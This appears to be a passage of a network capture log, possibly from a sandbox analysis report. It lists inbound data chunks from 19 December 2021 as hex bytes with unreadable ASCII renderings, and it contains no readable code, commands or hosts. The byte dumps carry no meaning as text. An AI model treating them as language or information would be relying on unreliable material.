9e b6 f7 53 60 8c 1b e7 4e ad 22 ff fe 32 50 b1 07 35 25 7e 29 51 a7 1a bc 12 24 0d fd 55 0b 97 f1 38 67 48 fb 14 42 7e 42 82 c8 08 cc fa df 53 61 95 8c 9c b5 8b f3 1a a4 87 83 75 be 04 1f aa 79 28 ce 75 69 a8 ac Data Ascii: 8!az,APvj[p@N6;Of4@Hg}UogG1jdsW~r[p`o@mT,7Pjir5qEv^cetXR YV4Z^=n}[coo\|?l-7aLiwl<=#mS`N"2P5%~)Q$U8gHB~BSauy(ui
2021-12-19 20:13:23 UTC	87	IN	Data Raw: 37 8b 08 c6 83 da 1d 9f 10 89 4e 62 c5 fb 92 72 f5 67 a9 11 28 98 58 25 03 5c 66 84 0f 92 2d 8a 14 3f 7f d5 66 2d 5f f8 c4 c6 a6 4f de fa 0f b1 d9 ae a1 5f 12 a1 79 0f d9 21 82 3c 92 de ed 2a 07 f3 18 67 76 6b f0 7b 76 6c 65 f4 ed 66 95 ef d6 f8 f5 c7 b7 ed 42 f0 de 31 99 26 2d 0a a8 bc 33 6f ef 0f 6c de 14 53 ec d7 42 ca 3d c4 94 ac 72 f6 c1 7e 86 51 f0 d8 b3 1a 5e 68 3b 5f 12 0a d2 be b3 81 21 8d 9d bc c9 ce bb 53 5b 4a 25 1d ab 02 da 92 80 c7 15 c2 02 74 36 d1 79 96 d1 af f4 7f 92 2d e4 47 29 78 11 d3 bd 98 23 b2 f8 25 cc 38 02 dd 14 c2 91 26 bb d4 9b 2c ca 98 28 e9 40 c3 25 e0 3f b2 30 26 da c9 d7 ae 5c fd 17 6d d3 67 d3 ac 6b 0a 7b 68 73 92 17 5b 4b 87 99 8a ab 3a 91 26 9e 1f f4 bf a9 cd 16 4b e8 7e 41 19 d0 4e 23 62 5c 10 ff 5e 11 5c 7d 8f 87 a6 9f Data Ascii: 7Nbrg(X%\f-?f-_O_y!<*gvk{vlefB1&-3olSB=r~Q^h;_!S[J%t6y-G)x#%8&,(@%?0&\mgk{hs[K:&K~AN#b\^\}
2021-12-19 20:13:23 UTC	88	IN	Data Raw: 2b b2 53 87 ea d6 02 70 ad eb f8 99 bb d8 33 f3 06 4f 62 c4 e5 10 23 f8 f0 c9 e6 c1 c8 b4 b2 dc cb 04 86 ba a3 11 c2 4a 63 85 3f 15 c7 82 a9 6b 3d e1 ee 19 a9 2f a3 2a 8f b4 0b 09 a4 c0 c9 39 68 2d f2 96 3a 1a ae 4b 37 7a 7b 04 59 83 94 d8 6e 5d 5f b5 62 9f 81 0e e0 98 eb d1 c2 82 e0 f2 93 5f ae db 42 2a 89 c0 a4 cc c2 a1 cd 98 d0 0d 68 47 b2 cd ba 41 f0 88 a6 44 3f 24 24 00 c5 b6 ca 6d 99 6b d7 9c 88 da a4 94 6e 8f 21 c8 38 08 79 a3 d6 31 46 77 19 06 4c 62 13 2b 54 36 d0 dc 5d 93 aa 91 3e be b4 62 f5 be fa 81 83 ac 01 ae fe 23 af 3b 9d be 0b ce 86 89 aa 1a cc 3e 2e ea df bd fe 41 22 dd 65 22 25 2f bc 1e e8 94 f6 45 7b f1 63 12 d5 ac c9 4e 14 59 c1 80 9a c1 fc a5 64 0d 39 42 83 6b 09 c1 f6 54 5a 59 91 0c d9 3b f6 83 19 1c e5 fc bd 10 74 09 1b f9 51 8f 84 Data Ascii: +Sp3Ob#Jc?k=/9h-:K7z{Yn]_b_BhGAD?$$mkn!8y1FwLb+T6]>b#;>.A"e"%/E{cNYd9BkTZY;tQ
2021-12-19 20:13:23 UTC	90	IN	Data Raw: 53 6c d7 c3 34 3c c4 92 6c 5a e5 5d 6d 90 65 93 de 4e 98 55 a5 c1 a0 ed 69 5f 93 a5 68 8a f7 86 c3 f6 3e 85 4c 5a 4a 25 0a 16 1e 4c 59 58 03 f9 b4 68 b7 71 2c 86 1d 94 b3 d0 f2 4a 2d 96 3d 68 bf 13 d3 aa 80 46 0c fa 57 b6 7a fa 22 eb 2a eb 11 a9 d5 e9 22 a3 23 2a e9 05 4a a0 a4 c2 a5 5d 2e c5 d3 a4 d4 db 94 ac 6f c4 ef 81 17 60 21 61 f0 58 93 17 c7 b5 10 52 20 b5 64 47 38 4b bf c8 40 dd 77 1d 5c a5 58 be e6 7a c9 2a f2 c7 a7 f3 7a 27 70 2b 61 56 c5 0e e9 f9 36 ee fc ac 4a 5c 64 6e 0b ed 75 92 13 7a 54 2d 23 da e0 de 32 b3 00 74 05 65 2a f6 4d ec 50 e2 f1 c2 91 25 a4 c9 d6 c1 07 2f 30 64 04 42 de 01 6c 82 93 71 68 c1 42 40 5c bc a6 3e 0c 66 a7 6c 85 f0 7b ad 5e a1 d9 6e df 53 92 c1 c9 17 0f 09 19 48 2f 39 a1 c1 1b f6 22 eb fd 9f c9 ce 06 f2 69 9c c9 d4 e6 Data Ascii: Sl4<lZ]meNUi_h>LZJ%LYXhq,J-=hFWz""#J].o`!aXR dG8K@w\Xzz'p+aV6J\dnuzT-#2teMP%/0dBlqhB@\>fl{^nSH/9"i
2021-12-19 20:13:23 UTC	91	IN	Data Raw: 59 47 34 ff 9c cd f2 d0 67 97 f1 38 cb a9 17 a7 03 2d 8c c4 64 8a b9 5e c7 5f 53 a7 66 de 98 de ea 0a 95 40 4c 54 05 a9 aa 44 4d 1d ad 20 b2 f8 39 d4 75 2d 46 0c 71 9e da 3f 70 6d e4 9b 16 33 8b 1e 88 82 eb 31 e4 5c 2b 63 9b 60 54 2c 00 c9 1b 6b 6b 54 e5 98 56 2c ea d2 3d 1c 33 d5 23 9a cb a9 d1 43 e1 6e 11 f2 b9 c7 5e bd 21 7e 0b 5a de 9f 9c 54 84 99 c1 fc 30 6c 80 bc 42 38 f1 82 c3 3a 8c 98 82 6e f3 61 e3 52 3d e6 0b 2e ee 42 ef f2 86 e3 02 51 8f 93 e5 f8 f1 1b 0e e2 0c 91 31 30 a6 a0 20 8e 44 ee 2e 84 09 49 b6 37 0f de fb 23 91 8f 48 dd b9 65 07 78 b7 ed c2 16 bc 6b e1 3a 28 80 6c e3 19 eb b9 a4 cc 19 38 07 71 c1 73 3c b6 64 d0 78 97 2a da 7f c5 97 c2 be 50 a6 13 7a fb af ce 4e 8c ac 8e fb a6 d2 18 d1 b0 0d 3e 96 23 5b 64 b1 30 92 66 80 c9 5e c5 ce 8c Data Ascii: YG4g8-d^_Sf@LTDM 9u-Fq?pm31\+c`T,kkTV,=3#Cn^!~ZT0lB8:naR=.BQ10 D.I7#Hexk:(l8qs<dx*PzN>#[d0f^
2021-12-19 20:13:23 UTC	92	IN	Data Raw: 57 91 2c 98 b0 c1 4d 1c 77 02 39 c9 15 d1 48 87 2d b9 ab 3a 91 f6 42 58 08 40 22 88 0a a3 32 a6 41 b3 46 38 98 9f a3 ef 1c 47 b8 96 39 80 0a 1f ef 23 67 a4 28 3c cf 78 06 54 de 33 72 fa 0f 27 a3 b7 e9 ed 6b 7c 02 44 09 91 0c ba cd a0 19 4e 42 b7 d4 73 64 51 88 68 03 f6 68 1d f2 4f 83 59 f3 11 a7 08 3a ba 28 31 a5 cb af cb 8e 3c 6f 0c eb 22 9e 3f 63 fe 74 1e d9 b1 0b 62 3f 35 5d 61 cf 77 e5 f1 65 e0 38 a1 b3 a1 42 a9 fe 39 aa ba f7 83 dd c3 06 5e 74 62 fb 54 69 09 f0 42 7b f1 f8 55 7b ca ea 58 b9 50 59 cf 9b a6 f5 7d 82 17 a5 9e 58 78 e4 92 cf fd 8a fb 5d 0a 06 a7 6e bc cd 6d 7a 91 5f 67 25 3b 20 01 57 97 0c 14 aa 20 51 0a f7 4b 8f ea 8c f3 42 09 5e dc ae d6 32 8f dc 81 72 d6 d4 97 8f 8c 28 17 16 67 1d 36 a2 02 46 f3 00 e6 d8 33 bf 85 af a8 59 4a d9 26 c4 Data Ascii: W,Mw9H-:BX@"2AF8G9#g(<xT3r'k\|DNBsdQhhOY:(1<o"?ctb?5]awe8B9^tbTiB{U{XPY}Xx]nmz_g%; W QKB^2r(g6F3YJ&
2021-12-19 20:13:23 UTC	93	IN	Data Raw: 48 bc 84 0e e8 e9 1a b0 d1 4f 60 f3 80 0f a5 d6 22 02 9a 7f 37 51 f2 d1 22 28 6b ac e3 a2 86 81 ac 1d 52 49 4c 20 a1 ab 9a 07 ec 5f 1d fd 51 05 b4 97 b1 21 f3 ba 4f 9b 0a ab 2a 56 81 62 85 6a e3 a9 c1 c5 a1 d6 04 91 60 04 47 5f c9 4e 9c fa 65 6f 78 da ac c2 64 06 48 a4 3c 28 80 6c 07 a2 68 35 34 20 0d 8a e8 e2 5b d4 93 c5 db 5b 3e 91 83 70 c6 ef fa e9 be d2 bf b4 84 6e 24 f1 8e 6b e9 19 45 4b 89 ab da c6 2d 02 75 66 4f 0f 95 9b 05 82 b7 34 b6 1d 34 43 d0 43 38 ea 02 d2 80 d5 33 e0 09 2e 2a aa 0f 9e 62 23 43 c2 9d 01 92 e5 2a 46 50 79 40 79 4d 64 8e 94 2b 72 f7 6d d2 30 f9 53 ac 2b 71 26 e7 ce b0 8e cb 65 ef fb 0f 14 02 5e 6b cd ac 5e f3 1c 3e 68 95 76 2c 21 99 5f 4c 4b 39 cb 38 ee 45 45 33 97 36 55 01 3d c3 22 a3 07 f5 24 b5 9d a2 f4 2a ec 65 5a 91 07 55 Data Ascii: HO`"7Q"(kRIL _Q!OVbj`G_NeoxdH<(lh54 [[>pn$kEK-ufO44CC83.b#CFPy@yMd+rm0S+q&e^k^>hv,!_LK98EE36U="$eZU
2021-12-19 20:13:23 UTC	95	IN	Data Raw: a3 80 42 3c 67 4b dc ee 79 87 9c 63 3e ef 0c a5 da ca 3a 5e 7e eb ce 21 3b e7 97 ac 22 15 d3 c9 cc fe 6f 66 11 2b a7 93 a2 93 e2 86 49 5e ce f6 8b c3 d8 63 7d 0e 24 4a ee a3 36 ec 4f d7 58 85 46 7a 50 65 59 1e c6 3a 9e 96 99 5b a1 6d 99 4b 54 a9 12 f6 e3 ae 95 d9 02 48 73 40 88 19 e5 f4 24 b2 e9 5d 5a b5 41 52 a9 14 9d a1 f9 b4 e7 37 b1 31 27 5e 4f f2 b2 bb af 5f 43 89 e2 6a 83 8f 83 ac 9e 5f 2d 6b ec ad 5c f7 d1 7a ab ae e5 1d e8 d6 cb e9 25 8d ed 85 40 07 81 9b 7d 3b 72 6c a8 fd 43 29 ab 89 02 1c 29 2b f9 ea bb 2f 0e 88 cd 63 62 98 ea e3 8b 98 f0 a5 65 90 d0 1a f3 a8 cb 25 02 45 a2 70 c2 bd 5e 99 f4 54 c7 d7 2d 03 80 20 bb 71 13 44 c2 e1 aa 4b 3b 62 a9 61 37 3c 90 64 8e b2 c2 9b f4 12 61 9a 86 15 31 c3 41 a4 46 55 f7 f7 bb 6e fa 82 19 c5 28 9d 47 c9 cc Data Ascii: B<gKyc>:^~!;"of+I^c}$J6OXFzPeY:[mKTHs@$]ZAR71'^O_Cj_-k\z%@};rlC))+/cbe%Ep^T- qDK;ba7<da1AFUn(G
2021-12-19 20:13:23 UTC	96	IN	Data Raw: 21 d7 e3 6f 5f ad f0 a0 89 3a 4e 80 50 1c 6b 56 cb 12 87 85 1c 3a 58 b0 19 53 50 e8 0d b3 92 ed c7 a7 4d d9 ed f2 ab 99 10 3d f1 1d bb 9e fb 68 e5 4b 35 5d 3e aa f6 ac 94 be cf f4 2e 4f 89 0f 9e 2c 9f 39 90 c6 fb 86 ea 8b 68 63 f4 1d d7 87 a4 56 5a 0f fb 3b 3c 83 61 40 6e 2e 86 05 77 3b 43 c7 7e e3 56 4b 6d 85 aa 31 52 c8 90 89 d7 5e 6a 4a 0a 5f 71 5e 8b 92 c2 90 dc 62 58 86 9b 3a ee f1 e6 77 55 32 15 5e aa a0 75 5f e7 35 be 30 4a d5 9e 55 1a 11 33 dd 47 db 08 6e 85 91 21 99 06 80 d7 ff 11 3d c4 e0 9c 6a 76 da e7 39 ae 40 e0 3b 50 2f c8 6f b7 fa a8 68 b5 a4 68 72 9a ef 7d f1 7b 38 4e 5a 4a cd d7 17 00 4d 2d 80 7e 9e 8c 7f 67 09 d0 79 2e 54 01 45 72 d0 5b 0b d0 f3 31 ad 2c cf 50 4e 48 00 da 33 82 e9 50 d2 3c 86 0b be 39 de 59 a0 33 3e 4d 34 ab fd 67 c0 4d Data Ascii: !o_:NPkV:XSPM=hK5]>.O,9hcVZ;<a@n.w;C~VKm1R^jJ_q^bX:wU2^u_50JU3Gn!=jv9@;P/ohhr}{8NZJM-~gy.TEr[1,PNH3P<9Y3>M4gM
2021-12-19 20:13:23 UTC	97	IN	Data Raw: 2e 6a 53 61 92 ba dc b3 2b 81 70 27 35 34 ff d4 32 8f 5f 43 cd e2 6a 83 8f 83 ac 72 5c 2d 6b ec ad 10 f7 d1 7a ab ae e5 f1 eb d6 cb e9 25 c9 ed 85 40 07 81 9b a9 38 72 6c a8 fd 1f 29 ab 89 02 1c 29 97 fa ea bb 2f 0e cc cd 63 62 98 ea e3 df 98 f0 a5 65 90 9c 1a f3 a8 cb 25 02 31 a2 70 c2 b3 26 69 d7 f8 7d 29 dd 0a 8b 75 45 8e 6f 29 50 28 5b 49 d3 54 f8 1e c9 6c 6f f2 8b 5d 48 da 71 d2 61 9b 3a 15 31 c3 a8 99 04 9f dc f5 44 74 3e 2e 59 c5 a3 aa 81 ff 32 05 dd af af da 81 19 c5 a9 59 bd 3d 5e cf f2 5b 22 94 e6 95 8b 17 e8 f7 fc 6b f5 49 76 d8 7a fa 8a 8e a9 f0 05 8c 56 c8 b2 d0 a4 81 06 88 c6 b3 1e ef 82 4e 45 30 8d c4 bc a5 7e b0 73 54 52 59 33 1b e0 c0 62 a8 51 c6 5f 39 1b 44 7e 3b ea ed 44 51 63 6b 37 e4 81 fb a3 31 6a 54 e5 63 23 d8 82 7b 41 57 33 2a 56 Data Ascii: .jSa+p'542_Cjr\-kz%@8rl))/cbe%1p&i})uEo)P([ITlo]Hqa:1Dt>.Y2Y=^["kIvzVNE0~sTRY3bQ_9D~;DQck71jTc#{AW3*V
2021-12-19 20:13:23 UTC	98	IN	Data Raw: c0 28 3c 5a 0c 15 c2 50 a6 9c 73 ab 7a af b1 63 fe 09 94 d0 9e 21 5d 67 77 2d 4c b2 5e 5d 88 d1 51 8e 8e a5 98 9c 0e e2 21 f8 a1 b7 8b b1 62 68 09 1a 90 24 af 83 de 9e 97 d6 58 b9 50 ad ef 9b a6 d5 64 e5 09 99 e8 31 04 b8 c9 82 c4 03 66 e5 9d 6c c5 26 fd ff 4f 65 ab 10 1e 7d 79 a5 9f ef 51 3e 14 aa 20 5c 6b 92 39 1e 70 1f 3f 63 27 3a b0 81 b9 5c e1 b9 1d f9 40 44 ed b5 ac 4b 2e 31 5e 0e 62 9a 54 c3 6f 85 54 ad 61 d2 e9 83 b8 0f 6a ac 47 a3 25 69 fa 25 9f 3a 72 6c 2b 3f ac 1d 15 ba 02 13 ad d3 97 90 d2 c0 5f fd 29 16 4c a8 c5 4f 40 f6 9d d5 87 d9 a1 b3 de cd f0 0a cb 8d ea 35 e2 08 4d b5 5d 2e e7 80 4b e9 6a 4e cc 02 b0 37 b6 0a de 65 0a 44 2d 1f c9 c3 6f f7 b3 96 09 99 9b 7c 1a 7b 9c 60 1c 8f a7 f7 09 ea de cd 9b 61 7e e5 18 cd 28 5a 02 0c cd 00 59 13 ae Data Ascii: (<ZPszc!]gw-L^]Q!bh$XPd1fl&Oe}yQ> \k9p?c':\@DK.1^bToTajG%i%:rl+?_)LO@5M].KjN7eD-o\|{`a~(ZY
2021-12-19 20:13:23 UTC	99	IN	Data Raw: b0 69 18 c5 59 72 4e 80 22 d2 00 35 6f 02 91 84 24 51 5b cd 9b 10 dc b6 31 1b d1 e5 4d 5e 45 62 ae a7 22 d8 ee bf cf b2 77 88 2a 74 78 7f 43 9b 05 95 54 6e e9 9b 8a 7d 85 e0 0b 51 31 64 33 03 7a 5e 8f 2a 02 85 be ad b9 10 99 89 a8 f3 2f 1c 43 a5 41 3a cd a5 c1 80 5e 0b 61 42 f8 c4 1d ae 86 eb f5 0e 14 ba 61 27 48 05 ea 80 a6 01 05 d2 7d 2d 21 ed 67 0c 79 75 ba 8f 11 31 0d cc 67 8c f9 83 94 d4 07 91 4e f4 e8 a8 c5 42 20 ee 91 de 15 f2 0e 08 ee 87 db 50 f0 5f 5a d0 a3 92 c0 7b 36 41 7a 1f 01 2a a8 5c 6d 93 a6 fe 65 19 fd 7a f7 c4 a0 99 c4 9f c1 0e 3f ef 81 d0 c6 f6 4c 7a e6 b2 dd 97 1c 21 cd 72 fc 8c df 71 c6 87 20 52 ac c7 1d 19 de d8 db 4a 2d a1 bf 9c 44 ec c4 dc a7 58 0d 88 9f 93 38 05 dd 14 c2 91 59 e5 d4 9b 2a 1a 14 6f 14 bf 4e a0 4c 46 ff 31 31 b6 69 Data Ascii: iYrN"5o$Q[1M^Eb"wtxCTn}Q1d3z^/CA:^aBa'H}-!gyu1gNB P_Z{6Az\mez?Lz!rq RJ-DX8YoNLF11i
2021-12-19 20:13:23 UTC	101	IN	Data Raw: 92 7e e1 dd e0 81 70 6a 3a f4 c2 97 32 db dc 3f 8d 0c 2b df 8f 8c 28 42 5e d2 94 90 6f 57 3c 90 7a ce d9 04 d2 bc 5d 27 d3 48 81 26 c4 2a 07 e4 1f f6 4f 8b 3f 7d 97 da a7 16 02 47 ef 45 01 4a 14 44 9f f3 c9 6e 7c fa d9 e5 03 dc a9 94 2c c6 20 8d 69 5a 45 66 d4 79 18 e6 de c2 f8 26 2a 3f 98 82 7f 98 fb 96 60 bb 99 e0 d7 1c d5 03 1c f4 93 d2 6d b3 ec 6e 18 4c 7e cd 2c 0a ed e3 9b 22 ea ce 3c 92 14 eb 52 48 08 44 89 c4 00 e6 3a a3 cf ce ff 32 f5 01 f6 f0 6a 7f 80 89 a9 cd bd 3d 5e 25 b9 62 99 97 5e ad 34 83 17 06 9f cd 88 82 bc d8 00 ea 0c 4f ac 50 29 3d 9c 88 35 5b 5b da 3b b6 43 fb e0 1f f9 da c0 75 81 19 06 44 88 f3 aa 15 34 38 b3 f3 e0 c0 10 87 b5 f2 da 7d ed bb 3b 43 25 53 51 e9 e3 cc c8 9e cc 61 ee 95 94 ab 6e d9 a2 c4 fb 3d c3 e9 b8 40 eb 64 34 a9 a3 Data Ascii: ~pj:2?+(B^oW<z]'H&O?}GEJDn\|, iZEfy&?`mnL~,"<RHD:2j=^%b^4OP)=5[[;CuD48};C%SQan=@d4
2021-12-19 20:13:23 UTC	102	IN	Data Raw: 24 5f 12 a1 97 79 88 80 1a db 72 ca d7 6b f8 a8 9d 58 a9 63 5b 26 77 6c c9 bd c6 31 2a 10 d6 6d aa e9 22 12 42 30 8e 9f df 15 91 dd 03 f8 24 b0 2b ab 2a 20 eb d8 39 a7 29 0e 6c c5 e0 6c 46 11 26 73 79 ae 73 ad 34 89 2e ba c5 0f 9f 04 0f b4 a4 68 8c a4 8a dc b9 3f c0 c5 df d2 db 1d 21 ae da 66 48 c7 15 b0 e2 d0 a3 f2 1b 5c 94 d6 99 bb 4a 2d e4 02 9f 44 ec 2c aa 09 0a 0c fa 51 a6 12 ff 22 eb 4f fc 5c a9 d5 9b 4f 1c 69 2b e9 34 cb 34 5a 3d b2 9f 43 be a0 d7 ae 28 e3 06 34 c4 b6 e9 17 60 69 0d 71 72 92 17 74 ee 07 b8 3a 14 c5 97 26 32 1c f4 bf af cd 7e 4b e6 f3 40 19 a2 be b3 77 c4 47 69 ed cf 58 ad fd 72 96 0a 6b 07 1a d7 79 bb e4 8b 11 96 f7 8a 05 f0 7e c0 9a e2 ee 6b 0e 0a 89 1b 86 e8 38 be da 16 f5 49 c3 0a ca 2c 09 9c 26 02 4a 1c d5 9e be f9 95 3f 27 e2 Data Ascii: $_yrkXc[&wl1m"B0$+ 9)llF&sys4.h?!fH\J-D,Q"O\Oi+44Z=C(4`iqrt:&2~K@wGiXrky~k8I,&J?'
2021-12-19 20:13:23 UTC	103	IN	Data Raw: 2e 7d 6e 86 1d c2 b0 9c c5 92 d2 55 3a c2 6f 18 db 56 97 9b f4 9f eb e6 0f eb ce 2b c3 4c 90 61 3d 62 43 9c 81 1a 95 40 d4 a7 fd fe 25 76 ff e0 51 51 04 83 ff d3 e2 ce 57 a1 33 0d 2f 8f 4b d9 39 cb 16 a2 a7 fd 81 36 ea f7 46 be 3a 08 9f d4 0c fa 73 7c 20 0c 1a a4 81 06 e9 2d 24 1e ef f6 bd 22 88 7e 6b ce 35 c2 86 cd ab dc ed 10 a3 e1 b4 18 32 bc b4 25 f0 70 4f 7c 94 43 fa b5 d7 56 d5 c8 d4 b5 09 d9 94 03 94 7b dd 56 a1 7f 3f c0 e9 cc 74 e7 28 8a 56 a5 bc f6 4a ce 0c 46 0f 9b 08 fc c2 9b a2 35 0f 5b 8b 7b 8e c0 a6 31 9b 0b 39 a6 82 6b 09 1c ee 29 5f 5d 91 1b c4 35 53 3d e6 41 c4 13 bd 10 97 4c 7d 43 ae fd f9 ce 09 0e e4 af 78 d4 b4 54 d4 86 01 be 36 d5 1c af 11 dd b4 49 00 e2 1a 23 cf 6c 5e 92 4e 1e 9b f8 f3 32 35 3f 16 bc 19 8b e6 d5 7f 93 07 0a 6d 35 34 Data Ascii: .}nU:oV+La=bC@%vQQW3/K96F:s\| -$"~k52%pO\|CV{V?t(VJF5[{19k)_]5S=AL}CxT6I#l^N25?m54
2021-12-19 20:13:23 UTC	104	IN	Data Raw: a0 47 86 78 e2 1f de 80 d6 4b 2d f3 19 3b ba 13 a5 c7 fd 58 0d fa 57 a6 02 fc 22 eb f1 b9 20 1d bb 9a 58 d4 4d 55 eb 40 b1 2d 21 46 b0 30 31 d3 41 8e af 28 e3 d6 14 d1 67 a7 64 0a 6a 75 02 73 85 c0 cc 49 10 26 5a 62 c7 e3 4c 46 83 ac be dd 01 67 4f 1f a7 41 d5 ef 72 96 6f 5d 10 68 9f c1 c9 83 fd fd c2 c3 d3 2b 1a d7 0d ce 87 d6 3e 36 a5 6d b2 0e 81 1b e2 13 49 cd e7 06 11 8d 11 8f 29 33 d2 17 8b 4b c3 7e 77 fc 7f b9 69 71 30 13 ad e5 bf bc 68 0c ee 58 d3 8a 45 8f 97 4c c7 33 5e bc a6 c6 59 f8 59 c1 4f 19 91 33 e6 26 0b 0e 8a 66 fa 4b cb e7 cc f6 94 cd 8b 3b a1 c1 5e b7 22 eb fd 22 a2 69 95 69 ac 7d 69 4a 74 b1 75 b5 53 e5 6f a9 2a 6f 23 61 68 93 a5 46 af a6 07 a5 38 0b d3 3c d8 1d 3a ff d5 60 c3 2d 3a 03 14 9f ba 97 3a d9 47 b5 20 16 df c2 1d e3 87 a5 ed Data Ascii: GxK-;XW" XMU@-!F01A(gdjusI&ZbLFgOAro]h+>6mI)3K~wiq0hXEL3^YYO3&fK;^""ii}iJtuSo*o#ahF8<:`-::G
2021-12-19 20:13:23 UTC	106	IN	Data Raw: 32 09 32 31 34 a5 b6 30 1e 63 9d a9 41 2e da 04 e5 c8 81 1f bc 7d 51 73 a8 4f 37 3d 41 f4 26 6b 6b 4c e5 9c 56 6f ea b0 3d 7f 33 bb 23 e9 cb 0a 2e f9 1e 1d 11 9d b9 e0 0e 9d 01 4e 64 2f b0 eb a6 6e 84 66 3e 29 cf 4a 80 d6 42 0c 94 99 91 15 c1 8e a2 44 f3 4f e3 de c2 7c f4 4f ee 2d ef ff 8c c1 02 ae 70 49 1a b5 f1 4b 0e e4 65 b1 54 1e 86 bd 4e a9 2b c6 24 d8 09 0c b6 87 6f f0 fb 56 93 d4 7a 82 bb 39 07 78 b7 df c2 e9 43 d7 1e 55 28 e9 6c 81 6c c8 cb 97 ab 12 56 02 21 cb 1c 27 3b 78 d0 61 1c a9 b0 1c af f6 a8 d2 3a 86 79 29 91 db a4 21 e6 de dd cc f1 3c 55 40 39 04 c6 1f 66 9d 57 71 65 df 0f a3 88 0e a1 61 bc 6b bc 0c 56 3e 82 ac 94 16 8a 54 c6 21 4e 90 61 97 76 83 2a 64 04 21 1a ba 33 8b 11 21 14 60 64 23 d1 b0 c8 86 6d bd 30 63 3f 1e d5 e9 ad d7 06 67 4d Data Ascii: 22140cA.}QsO7=A&kkLVo=3#.Nd/nf>)JBDO\|O-pIKeTN+$oVz9xCU(llV!';xa:y)!<U@9fWqeakV>T!Nav*d!3!`d#m0c?gM
2021-12-19 20:13:23 UTC	107	IN	Data Raw: 9a 7b d7 e2 ce 1d 06 38 36 6d 89 27 f0 7e 28 22 49 12 94 83 8f 23 e5 79 17 3d b8 b3 a1 cb e3 54 d4 3f cd e1 23 69 cc d1 1e 70 e5 45 5e a1 4d ee 6b fb a0 b9 28 0c 48 52 d7 ff e3 18 2e cf 8f 81 b1 3c 63 ea 36 44 1a 3a cb 09 4b a2 68 df 42 33 ca 4c c3 c3 f5 9e 6b 8c 39 82 aa fd ae 04 c7 0f 1f 01 cb 61 ed d2 17 f9 1e e6 73 1e 84 ee a3 1d 77 63 a7 59 b9 44 5e b2 58 8a f5 2c b1 c5 69 86 00 fa c5 84 88 64 b1 d9 1a 12 26 85 26 e1 fb 60 16 d7 64 7e 7d a1 17 20 10 3a 73 54 aa 44 1e 21 92 11 b7 cf e0 04 25 67 3a d0 94 96 32 bf 8a 3e 8d 61 74 c3 8f 94 77 02 5e 55 ea 2f 90 68 bd d0 7a 73 35 21 d2 e1 58 8b 6a d4 1a 66 c4 d0 9c ce 1f b7 9c 32 6c f3 65 13 e2 46 2f 42 13 d1 38 b8 ea e7 1d 73 9c 2a 93 22 98 b5 d3 63 99 d0 11 a6 ad 5c 60 f2 a8 af 9b c6 de 4b c1 82 3e db 34 Data Ascii: {86m'~("I#y=T?#ipE^Mk(HR.<c6D:KhB3Lk9aswcYD^X,id&&`d~} :sTD!%g:2>atw^U/hzs5!Xjf2leF/B8s*"c\`K>4
2021-12-19 20:13:23 UTC	108	IN	Data Raw: f4 91 d2 4f b4 8d 3c 15 5f 06 21 0f e8 9b 2b 65 84 29 83 f7 ff 53 58 ba 32 07 66 3b f1 27 ac 46 78 d3 2a 83 e9 2f 52 5f 3a e0 49 2d ef 3c 73 8a cb 83 9f 17 63 e5 7a 5d 5f 87 ec 91 2d f0 0f f1 7f 1b 5f e9 be aa 6e 38 7a 0d 67 e5 4e 96 65 9c ad ed 92 14 25 1d 91 87 1f 72 6e 16 71 b1 3d 4e e2 d0 96 e0 31 b0 e8 fd 4d ee ac c3 ed d4 fa cb 08 02 a3 0f f1 79 28 37 fb 22 f2 45 6d 3e 1d 72 e8 4d 88 55 0c f4 c5 90 e3 dc 3a 2c d2 bc d8 7e 7f c5 44 ec b2 c6 fd 0c 23 03 eb 44 f0 5f 81 77 37 e8 25 1f 7e f1 42 c1 1a cd 1b 9f 66 1a 32 62 9d db b1 af ce ca 40 d2 36 e9 c8 94 d4 3b 95 b9 0a e3 1a ac cf 69 e3 20 20 92 b0 0a a8 12 1c 7a ae 7b 1c 9e 14 5b a4 7e c1 5e 0b 7a 1f cd 4c 5f a2 2a bf ef 73 80 78 54 d0 81 f0 1e 12 dd 5e 0b 5b eb ce 33 62 08 c1 80 3f a6 92 0b 25 06 17 Data Ascii: O<_!+e)SX2f;'Fx/R_:I-<scz]_-_n8zgNe%rnq=N1My(7"Em>rMU:,~D#D_w7%~Bf2b@6;i z{[~^zL_sxT^[3b?%
2021-12-19 20:13:23 UTC	109	IN	Data Raw: 9d 0f 22 1a 90 4c 7e a2 de 9e 97 29 a7 46 af a6 ef 9b a6 f5 2c 51 89 c8 c7 78 fb 89 c4 88 c4 fc 99 1a 62 6a c5 26 fd b7 20 14 0a 2b 3e fd a8 5b 60 10 ae 3c 14 aa 20 51 61 92 39 e1 8f d8 15 71 27 aa 61 c3 d6 32 8f dc 7e 8d 29 2b 83 8f 8c 28 42 e4 fb 6a 6f 60 85 3d 90 7a ab a1 61 d2 e9 d6 cb 6a 18 81 26 ee 97 06 8e 13 6d 3b 72 6c 2b c0 53 e2 ea 89 02 13 ad 9e f8 9a 6c ad 33 bc d4 23 62 98 e5 67 23 99 f0 a5 e6 ad c8 d1 b2 a8 cb 2a 86 de a3 70 c2 04 b1 84 3f 47 15 d6 22 ed dc 20 bb f3 42 78 e2 b4 39 4a 3b c1 ff e1 36 80 42 e6 b3 5e db db f4 c4 bc 1f f2 f2 e3 c2 c2 99 bd 9f b6 f9 68 60 7e c1 cb c4 28 60 d1 00 cd 5a 8a 1f ae b8 52 7e 02 58 ce 42 c2 2b 1e f3 d0 fb bb 0f c7 9a 3a 16 a7 bf ad c8 82 fd 0b fe 3a 53 d9 39 f1 f7 5f dc 88 40 88 a5 0a 16 d5 42 fb e0 10 Data Ascii: "L~)F,Qxbj& +>[`< Qa9q'a2~)+(Bjo`=zaj&m;rl+Sl3#bg#*p?G" Bx9J;6B^h`~(`ZR~XB+::S9_@B
